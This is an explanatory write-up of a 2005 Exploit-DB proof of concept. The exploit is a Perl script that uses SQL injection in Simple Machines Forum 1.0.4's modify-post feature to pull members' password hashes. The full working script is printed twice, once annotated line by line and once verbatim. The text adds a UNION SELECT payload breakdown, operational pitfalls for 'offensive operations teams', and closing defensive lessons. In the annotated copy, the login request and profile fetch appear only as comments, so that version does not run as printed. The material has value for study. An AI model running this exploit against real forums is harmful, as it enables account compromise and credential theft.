Exploiting Simple Machines Forum 1.0.4: A SQL Injection Deep Dive

Exploiting Simple Machines Forum 1.0.4: A SQL Injection Deep Dive
What this paper is
This paper details a SQL Injection vulnerability in Simple Machines Forum (SMF) version 1.0.4. Specifically, it targets the "modify post" functionality. The exploit allows an attacker to inject SQL commands into a request to modify a post, which can then be used to extract sensitive information, such as user credentials (specifically, password hashes), from the forum's database. The provided exploit script is a proof-of-concept written in Perl.
Simple technical breakdown
The core of the vulnerability lies in how SMF handles user input when modifying a post. The application doesn't properly sanitize or validate certain parameters within the URL used for post modification. This allows an attacker to append malicious SQL code to these parameters.
The exploit works by:
- Logging in: The attacker first logs into the SMF forum using their own credentials.
- Obtaining a Session ID (sesc): After logging in, the script retrieves a valid session ID (referred to as
sescin the code). This is crucial for making subsequent authenticated requests. - Injecting SQL: The attacker crafts a URL to modify a post they own. They then append a specially crafted SQL
UNION SELECTstatement to themsgparameter. This injected SQL statement instructs the database to retrieve specific columns (memberName,passwd) from thesmf_memberstable for a target user ID (grab). - Executing the modified request: The script sends the modified request to the SMF application. Because of the SQL injection, the database executes the attacker's injected query along with the original intended query.
- Extracting data: The forum application, when processing the modified post request, inadvertently displays the results of the injected SQL query within the HTML output. The script then parses this output to extract the desired password hash.
Complete code and payload walkthrough
Let's break down the Perl script line by line.
#!/usr/bin/perl -w
################################################################################
# SMF Modify Post SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################
use LWP::UserAgent; # Imports the LWP::UserAgent module for making HTTP requests.
if ( !$ARGV[3] ) # Checks if the fourth command-line argument (index 3) is missing.
{
print "Usage: smf.pl user pass target_uid modify_url\n"; # Prints usage instructions if arguments are insufficient.
exit; # Exits the script.
}
print "###################################################\n"; # Prints a header for the output.
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "###################################################\n";
my $user = $ARGV[0]; # Assigns the first command-line argument to the $user variable (attacker's username).
my $pass = $ARGV[1]; # Assigns the second command-line argument to the $pass variable (attacker's password).
my $grab = $ARGV[2]; # Assigns the third command-line argument to the $grab variable (the ID of the target member whose password hash is desired).
my $post = $ARGV[3]; # Assigns the fourth command-line argument to the $post variable (the full URL to a post the attacker can edit).
# This is the core of the SQL injection payload.
# '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*'
# - '%20': URL-encoded space.
# - 'UNION%20SELECT': Combines the result of the original query with the result of a new SELECT query.
# - 'memberName,0,passwd,0,0': Selects the memberName (username), a literal 0, the passwd (password hash), another literal 0, and a final literal 0.
# The number of columns selected must match the number of columns in the original query that the 'msg' parameter would normally affect.
# The exploit assumes the original query selects 5 columns.
# - 'FROM%20smf_members': Specifies the table to retrieve data from.
# - 'WHERE%20ID_MEMBER=' . $grab: Filters the results to a specific member ID provided by the attacker.
# - '/*': A SQL comment. This is used to terminate any remaining SQL code from the original query, preventing syntax errors.
my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
# This line modifies the original $post URL.
# $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
# - $post =~ s/.../.../: This is a Perl substitution operator. It searches for a pattern and replaces it.
# - 'msg=([0-9]{1,10})': This is the pattern to find.
# - 'msg=': Matches the literal string "msg=".
# - '([0-9]{1,10})': This is a capturing group. It matches one to ten digits (0-9) and captures them. This is expected to be the original message ID.
# - 'msg=$1$dump': This is the replacement string.
# - 'msg=': The literal string "msg=".
# - '$1': Inserts the content captured by the first capturing group (the original message ID).
# - '$dump': Appends the SQL injection payload constructed earlier.
# The effect is to change a URL like "...&msg=12345&..." to "...&msg=12345 UNION SELECT memberName,0,passwd,0,0 FROM smf_members WHERE ID_MEMBER=TARGET_ID/*&...".
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
# This line extracts the base path of the SMF installation from the provided URL.
# my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");
# - $post =~ /^(.*)\/index\.php/: This regex attempts to match the beginning of the string (^) followed by any characters (.*) up to and including "/index.php".
# - '(.*)': Captures the part of the URL before "/index.php". This is assumed to be the base path.
# - ? $1 : If the regex matches, $1 (the captured path) is assigned to $path.
# - : die(...): If the regex does not match (meaning the URL doesn't end with "/index.php" in the expected format), the script prints an error and exits.
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");
my $ua = new LWP::UserAgent; # Creates a new LWP::UserAgent object, which will be used to send HTTP requests.
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent); # Sets a custom User-Agent string for the requests. This is good practice for identification.
$ua->cookie_jar({}); # Initializes an empty cookie jar. This is important for managing session cookies.
print "[*] Trying $path ...\n"; # Informs the user about the target path being processed.
# Constructs the login request.
# my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
# - new HTTP::Request POST => ...: Creates a new HTTP POST request.
# - $path . "/index.php?action=login2": The URL for the login action in SMF.
$req->content_type('application/x-www-form-urlencoded'); # Sets the Content-Type header for the POST request.
$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1'); # Sets the body of the POST request with username, password, and a cookie length of -1 (to make the cookie persistent for the session).
my $res = $ua->request($req); # Sends the login request using the UserAgent and stores the response.
print "[*] Logging In ...\n"; # Informs the user that the login attempt is in progress.
# Checks if the login was successful.
# A successful login in SMF typically results in a redirect and a relatively small response body.
# If the response content is larger than 1024 bytes, it might indicate an error page or a different response.
# This check is a heuristic and might fail on heavily modified SMF installations.
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n"; # Confirms successful login.
# Attempts to retrieve the session ID (sesc).
# my $sid = $ua->get($path . '/index.php?action=profile;sa=account');
# - $ua->get(...): Sends a GET request to the profile account page. This page typically contains the 'sesc' parameter in its URL or form.
print "[*] Trying To Get Valid Sesc ID \n"; # Informs the user about the sesc ID retrieval attempt.
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ ) # Searches the response content for the 'sesc' parameter.
{
# - /sesc=([a-f0-9]{32})/ : This regex looks for "sesc=" followed by exactly 32 hexadecimal characters (a-f, 0-9), which is the typical format of SMF's security token.
# - '([a-f0-9]{32})': Captures the 32-character hexadecimal string.
# If a valid sesc is found, it's used to update the original $post URL.
# my $sesc = $1; # Stores the captured sesc value.
# $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/; # Replaces any existing sesc parameter in the $post URL with the newly obtained one. This ensures the exploit request uses a valid, current session token.
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;
print "[+] Valid Sesc Id : $sesc\n"; # Displays the obtained sesc ID.
print "[*] Trying to get password hash ...\n"; # Informs the user that the password hash retrieval is next.
# Executes the actual exploit request.
# my $pwn = $ua->get($post);
# - $ua->get($post): Sends a GET request to the modified $post URL. This URL now contains the SQL injection payload.
my $pwn = $ua->get($post);
# Parses the response to find the password hash.
# if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
# - />([a-z0-9]{32})<\//i : This regex looks for a 32-character hexadecimal string (the password hash) enclosed by ">" and "<//". The 'i' flag makes it case-insensitive.
# - '>': Matches a literal ">".
# - '([a-z0-9]{32})': Captures the 32-character hexadecimal hash.
# - '<//': Matches the literal string "<//". This pattern is likely found in SMF's output when displaying a member's username or other profile details, and the injected query is returning the hash in that context.
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n"; # Confirms the hash was found.
print "[+] Password Hash : $1\n"; # Prints the extracted password hash.
}
else
{
print "[!] Exploit Failed! Try manually verifying the vulnerability \n"; # Indicates failure if the hash pattern is not found.
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!'; # Error if sesc ID cannot be retrieved.
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!'; # Error if login failed based on response length.
exit;
}
# milw0rm.com [2005-06-21] # A common footer indicating the source of the exploit.Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl -w: Shebang line, indicates the script should be executed with Perl and enables warnings.use LWP::UserAgent;: Imports the necessary library for making web requests.if ( !$ARGV[3] ) { ... }: Argument validation to ensure all required inputs are provided.my $user = $ARGV[0];: Stores attacker's username.my $pass = $ARGV[1];: Stores attacker's password.my $grab = $ARGV[2];: Stores the target member ID for hash extraction.my $post = $ARGV[3];: Stores the URL of a modifiable post.my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';: The SQL injection payload string.$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;: Modifies the target URL to include the SQL injection payload.my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die(...);: Extracts the base path of the SMF installation.my $ua = new LWP::UserAgent;: Initializes the web request object.$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);: Sets a custom User-Agent.$ua->cookie_jar({});: Initializes cookie handling.my $req = new HTTP::Request POST => $path . "/index.php?action=login2";: Creates the HTTP POST request for login.$req->content_type('application/x-www-form-urlencoded');: Sets the request content type.$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');: Sets the login credentials in the request body.my $res = $ua->request($req);: Sends the login request.if ( length($res->content) < 1024 ) { ... }: Checks for successful login based on response size.my $sid = $ua->get($path . '/index.php?action=profile;sa=account');: Retrieves the session ID (sesc).if ( $sid->content =~ /sesc=([a-f0-9]{32})/ ) { ... }: Parses the response to extract thesescvalue.my $sesc = $1;: Stores the extractedsesc.$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;: Updates the exploit URL with the validsesc.my $pwn = $ua->get($post);: Executes the final exploit request with the injected SQL.if ( $pwn->content =~ />([a-z0-9]{32})<\//i ) { ... }: Parses the response to extract the password hash.print "[+] Password Hash : $1\n";: Prints the found password hash.
Shellcode/Payload Segments:
The "payload" in this context is the SQL injection string itself, not executable shellcode in the traditional sense.
- SQL Injection Payload:
%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=+$grab+/*- Purpose: This segment is designed to be appended to a legitimate SMF URL parameter (
msg). It leverages theUNION SELECTSQL statement to combine the results of the original query with a query that retrieves thememberNameandpasswdfrom thesmf_memberstable for a specificID_MEMBER. The/*at the end is a SQL comment to truncate any remaining original SQL query.
Practical details for offensive operations teams
- Required Access Level: Low. This exploit targets a web application and does not require local system access or elevated privileges on the target server. The attacker needs to be able to interact with the web interface.
- Lab Preconditions:
- A vulnerable SMF 1.0.4 installation.
- An attacker-controlled machine with Perl and the LWP::UserAgent module installed.
- Knowledge of a valid username and password for an account on the target SMF instance.
- Knowledge of the URL to a post that the attacker's account has permission to edit.
- Knowledge of the
ID_MEMBERof the user whose password hash is to be exfiltrated.
- Tooling Assumptions:
- Perl interpreter.
LWP::UserAgentmodule (standard Perl library, usually available).HTTP::Requestmodule (part of LWP).- A web browser for initial reconnaissance and to identify the target post URL and member IDs.
- Execution Pitfalls:
- Incorrect URL: The
$postURL must be valid and point to a modifiable post by the authenticated user. If the URL structure is different (e.g., noindex.php, different parameter names), the script will fail. - Incorrect
msgparameter: The script assumes themsgparameter contains a numeric ID. If it's structured differently, the substitutions/msg=([0-9]{1,10})/msg=$1$dump/will fail. - Incorrect
sescextraction: Thesescparameter is crucial. If the profile page structure changes or thesescparameter is not present in the expected format (sesc=32_hex_chars), the script cannot proceed. - Incorrect
passwdextraction: The pattern/>([a-z0-9]{32})<\//ifor extracting the hash relies on SMF's output format. If the output of the injected query is rendered differently, the hash might not be captured. - Database Schema Changes: If the table names (
smf_members) or column names (memberName,passwd,ID_MEMBER) have been altered from the default SMF 1.0.4 schema, the SQL injection will fail. - Web Application Firewalls (WAFs): Modern WAFs would likely detect and block the SQL injection pattern.
- Login Failure: If the provided username/password are incorrect, or if SMF has additional login security measures (like CAPTCHAs, rate limiting), the initial login will fail.
- Permissions: The attacker must have permission to edit the target post.
- SMF Version: The exploit is specific to SMF 1.0.4 and potentially other versions with the same vulnerability. Newer versions would likely be patched.
- Incorrect URL: The
- Telemetry:
- Network: HTTP POST request to the SMF login endpoint. HTTP GET requests to the profile page and the modified post URL.
- Application Logs: Login attempts (successful or failed). Access logs for the profile and post modification endpoints. Potentially error logs if the SQL injection causes database errors (though the
/*comment aims to prevent this). - Database Logs: If database logging is enabled, queries executed against
smf_memberstable might be visible. - User Activity: The target user might see their post being modified (if the modification itself is visible, though this exploit focuses on data exfiltration, not post modification content). The attacker's account will show activity related to logging in and accessing profile/post modification features.
Where this was used and when
This exploit was published in June 2005. At that time, SMF 1.0.4 was a relatively recent version. SQL Injection was a prevalent and widely exploited vulnerability in web applications. This specific exploit would have been used by security researchers and potentially malicious actors against websites running SMF 1.0.4 or similar vulnerable versions. The publication date suggests its relevance in the mid-2000s web security landscape.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially data used in database queries, must be rigorously validated and sanitized. This includes:
- Parameterized Queries/Prepared Statements: The gold standard for preventing SQL injection. Instead of building SQL strings, use placeholders that the database driver handles securely.
- Whitelisting: Only allow known-good characters or patterns for specific input fields.
- Escaping: Properly escape special characters that have meaning in SQL.
- Principle of Least Privilege: Web applications should connect to databases using accounts with only the necessary permissions. The application user should not have
DROP TABLEorALTER TABLEprivileges, and ideally, read access should be limited to only the tables and columns required for its operation. - Regular Patching and Updates: Keep all software, including web applications and their underlying frameworks/CMS, up-to-date. Vulnerabilities are discovered and patched regularly. SMF 1.0.4 is ancient and unpatched.
- Web Application Firewalls (WAFs): While not a primary defense, WAFs can provide an additional layer of protection by detecting and blocking common attack patterns like SQL injection. However, they should not be relied upon as the sole defense.
- Error Handling: Avoid revealing detailed error messages to end-users, as these can sometimes leak information about the database schema or query structure.
- Code Auditing: Regularly audit application code for security vulnerabilities, especially in areas that handle user input and database interaction.
- Session Management: Ensure session IDs are properly generated, transmitted securely (e.g., via HTTPS), and invalidated upon logout. The
sescparameter in SMF is a form of CSRF/session protection, but its implementation was flawed here.
ASCII visual (if applicable)
+-----------------+ +-----------------+ +-----------------+
| Attacker's | ----> | SMF Web Server | ----> | SMF Database |
| Machine | | (Vulnerable) | | (smf_members) |
+-----------------+ +-----------------+ +-----------------+
| ^ | ^
| 1. Login Request | | 3. Modified Post Req |
| (user, pass) | | (with SQL Injection) |
| | | |
| 2. Get Sesc ID | | 4. SQL Query Execution |
| (Profile Page) | | (UNION SELECT...) |
| | | |
+-------------------------+ +-------------------------+
|
| 5. Response with Hash
v
+-----------------+
| Attacker's |
| Machine |
| (Parses Output) |
+-----------------+Explanation of the Diagram:
- The attacker's machine sends login credentials to the SMF web server.
- Upon successful login, the attacker's machine requests a profile page to obtain a valid session identifier (
sesc). - The attacker's machine then constructs and sends a modified request to the SMF server, targeting a post they can edit. This request includes the SQL injection payload within the
msgparameter. - The vulnerable SMF application passes this request to the database. The database executes the injected
UNION SELECTquery, retrieving the desiredmemberNameandpasswdfrom thesmf_memberstable. - The SMF application processes the database results and returns them to the attacker's machine, embedding the retrieved password hash within the HTML output. The attacker's script then parses this output to extract the hash.
Source references
- Paper URL:
https://www.exploit-db.com/papers/1057 - Raw Exploit URL:
https://www.exploit-db.com/raw/1057 - Original Publication Date: 2005-06-21
- Author: GulfTech Security
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
################################################################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################
use LWP::UserAgent;
if ( !$ARGV[3] )
{
print "Usage: smf.pl user pass target_uid modify_url\n";
exit;
}
print "###################################################\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "###################################################\n";
my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");
my $ua = new LWP::UserAgent;
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);
$ua->cookie_jar({});
print "[*] Trying $path ...\n";
my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
$req->content_type('application/x-www-form-urlencoded');
$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');
my $res = $ua->request($req);
print "[*] Logging In ...\n";
# When a correct login is made, a redirect is issued, and no
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n";
my $sid = $ua->get($path . '/index.php?action=profile;sa=account');
# We get our current session id to be used
print "[*] Trying To Get Valid Sesc ID \n";
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
{
# Replace the old session parameter with the
# new one so we do not get an access denied!
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;
print "[+] Valid Sesc Id : $sesc\n";
print "[*] Trying to get password hash ...\n";
my $pwn = $ua->get($post);
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n";
print "[+] Password Hash : $1\n";
}
else
{
print "[!] Exploit Failed! Try manually verifying the vulnerability \n";
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!';
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!';
exit;
}
# milw0rm.com [2005-06-21]